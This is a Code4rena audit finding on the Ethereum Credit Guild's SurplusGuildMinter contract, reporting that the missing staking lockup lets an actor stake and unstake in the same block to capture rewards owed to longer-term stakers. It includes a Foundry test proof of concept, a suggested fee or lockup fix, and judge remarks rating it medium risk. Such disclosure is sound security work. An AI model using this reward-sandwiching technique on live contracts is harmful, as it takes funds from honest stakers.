Platform: Code4rena
Start Date: 11/12/2023
Pot Size: $90,500 USDC
Total HM: 29
Participants: 127
Period: 17 days
Judge: TrungOre
Total Solo HM: 4
Id: 310
League: ETH
Rank: 114/127
Findings: 1
Award: $6.82
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SBSecurity
Also found by: 0x_6a70, 0xanmol, 0xbepresent, 0xfave, Arz, Byteblockers, CaeraDenoir, EV_om, EllipticPoint, Infect3d, JCN, Mike_Bello90, SECURITISE, Soul22, almurhasan, c47ch3m4ll, carrotsmuggler, cccz, critical-or-high, ether_sky, evmboi32, grearlake, kaden, rbserver, smiling_heretic, whitehat-boys, zhaojie
6.8173 USDC - $6.82
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114-L155 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158-L212 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L328-L333
There exists no lockup period associated with staking to receive a portion of rewards during in the unstake()
function
A malicious actor may simply buy credit
and then stake before the governor updates the reward using setRewardRatio()
and unstake it in the same block thereby sandwiching the rewards and thereby cheating others that staked earlier.
Add this to SurplusGuildMinterUnitTest
function testUnstakeInSameBlock() public { // setup credit.mint(address(this), 150e18); credit.approve(address(sgm), 150e18); sgm.stake(term, 150e18); assertEq(credit.balanceOf(address(this)), 0); assertEq(profitManager.termSurplusBuffer(term), 150e18); assertEq(guild.balanceOf(address(sgm)), 300e18); assertEq(guild.getGaugeWeight(term), 350e18); assertEq(sgm.getUserStake(address(this), term).credit, 150e18); // the guild token earn interests vm.prank(governor); profitManager.setProfitSharingConfig( 0.5e18, // surplusBufferSplit 0, // creditSplit 0.5e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); credit.mint(address(profitManager), 35e18); profitManager.notifyPnL(term, 35e18); assertEq(profitManager.surplusBuffer(), 17.5e18); assertEq(profitManager.termSurplusBuffer(term), 150e18); (,, uint256 rewardsThis) = profitManager.getPendingRewards(address(this)); (,, uint256 rewardsSgm) = profitManager.getPendingRewards(address(sgm)); assertEq(rewardsThis, 2.5e18); assertEq(rewardsSgm, 15e18); // unstake (sgm) sgm.unstake(term, 150e18); assertEq(credit.balanceOf(address(this)), 150e18 + rewardsSgm); assertEq(guild.balanceOf(address(this)), rewardsSgm * REWARD_RATIO / 1e18 + 50e18); assertEq(credit.balanceOf(address(sgm)), 0); assertEq(guild.balanceOf(address(sgm)), 0); assertEq(profitManager.surplusBuffer(), 17.5e18); assertEq(profitManager.termSurplusBuffer(term), 0); assertEq(guild.getGaugeWeight(term), 50e18); assertEq(sgm.getUserStake(address(this), term).credit, 0); // cannot unstake if nothing staked vm.expectRevert("SurplusGuildMinter: invalid amount"); sgm.unstake(term, 1); } ` From this poc it shows that a user can easily just stake and unstake immediately to claim rewards and sell immediately in the same block thereby cheating others that staked for a longer time ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider implementing a staking/unstaking fee, lockup period or warmup fee ## Assessed type Other
#0 - c4-pre-sort
2024-01-02T21:10:12Z
0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-02T21:11:08Z
0xSorryNotSorry marked the issue as duplicate of #994
#2 - c4-judge
2024-01-25T18:10:22Z
Trumpero changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-01-25T18:14:15Z
Trumpero marked the issue as satisfactory